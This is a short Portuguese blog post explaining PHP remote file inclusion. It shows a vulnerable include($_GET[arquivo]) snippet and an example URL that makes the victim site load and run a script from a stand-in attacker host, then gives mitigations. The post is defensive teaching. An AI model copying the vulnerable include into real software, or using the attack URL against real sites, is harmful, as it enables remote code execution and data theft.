Neste post vamos falar sobre uma falha de segurança no desenvolvimento de sites que também é muito explorada. O php include.
Isto é mais um descuido do programador do que uma falha de segurança. O problema ocorre quando o desenvolvedor abre includes no seu site vindo através de querystring.
Exemplo:
http://www.site.com.br/index.php?arquivo=empresa.php
A página index.php tem um include que abre o arquivo que vem no paramêtro “arquivo” da querystring.
Exemplo do arquivo index.php:
<? php
include($_GET[arquivo]);
?>
O problema está aí. O arquivo index.php inclui para ser processado qualquer arquivo que vier através da querystring do php. O invasor pode, então, criar um script php malicioso e passá-lo como parâmetro, para que seja carregado e executado pelo site vítima.
Veja o exemplo:
http://www.site.com.br/index.php?arquivo=http://www.sitedohacker.com.br/hacker.txt
No link acima, o script index.php irá carregar e executar o script hacker.txt, que contém dados php e está dentro do site do invasor. Observe que o script não será executado no site do invasor, e sim no site da vítima. Um exemplo do que este script pode fazer é apagar todos os arquivos do cliente, conectar no banco de dados e descobrir senhas de acesso ao sistema, etc.
A solução para este problema é simples, você deverá checar sempre, no arquivo index.php, se o script que você está abrindo é um script autorizado, dentro de um servidor autorizado. Outra solução que pode ser adotada, e é considera melhor que a anterior, é realmente evitar incluir arquivos que são passados por querystring. Desta maneira você estará 100% livre deste problema.
Escrito por serversecurity
Escrito por serversecurity
Escrito por serversecurity